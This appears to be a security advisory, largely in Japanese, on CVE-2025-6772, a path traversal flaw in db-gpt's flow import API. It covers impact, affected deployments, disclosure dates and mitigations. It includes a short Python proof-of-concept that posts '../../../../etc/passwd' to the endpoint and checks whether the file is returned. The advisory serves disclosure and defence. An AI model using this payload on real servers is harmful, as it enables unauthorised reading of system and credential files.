eosphoros-ai db-gpt import import_flow パス・トラバーサル

このPath Traversal脆弱性は、攻撃者がdb-gptサーバ上で任意のファイルパスを指定できることを意味します。攻撃者は、この脆弱性を悪用して、機密情報を含む設定ファイル、ソースコード、またはその他のシステムファイルを読み出す可能性があります。さらに、攻撃者はこの脆弱性を利用して、サーバ上で任意のコードを実行したり、他のシステムに侵入するための足がかりにしたりする可能性があります。この脆弱性は、特に機密情報を扱う環境において、重大なセキュリティリスクをもたらします。類似のPath Traversal脆弱性は、ファイルサーバやWebアプリケーションで頻繁に発生しており、情報漏洩やシステム乗っ取りにつながる可能性があります。

Organizations deploying db-gpt in production environments, particularly those with publicly accessible API endpoints, are at risk. Shared hosting environments where multiple users share the same server instance are also particularly vulnerable, as a compromise of one user's instance could lead to access to other users' data. Systems using older, unpatched versions of db-gpt are most susceptible.

• python / server:

import os
import requests

url = 'http://your-db-gpt-server/api/v2/serve/awel/flow/import'

# Attempt path traversal
file_param = 'File=../../../../etc/passwd'

# Send the request
response = requests.post(url, data={'import_flow': file_param})

# Check for sensitive file content in the response
if 'root:' in response.text:
    print('Potential Path Traversal Detected!')
else:
    print('No Path Traversal Detected.')

1. 2025-06-27Disclosure

   disclosure

1. 予約済み2025-06-27
2. 公開日2025-06-27
3. EPSS 更新日2026-03-23

CVE-2025-6772の緩和策として、まずdb-gptをバージョン0.7.3にアップデートすることを強く推奨します。バージョンアップが直ちに実行できない場合は、ファイルシステムへのアクセスを制限するファイアウォールルールを設定し、/api/v2/serve/awel/flow/importへのアクセスを制限することを検討してください。また、Webアプリケーションファイアウォール（WAF）を使用して、Path Traversal攻撃を検出し、ブロックすることも有効です。アップデート後、db-gptのログを監視し、不正なファイルアクセスがないか確認してください。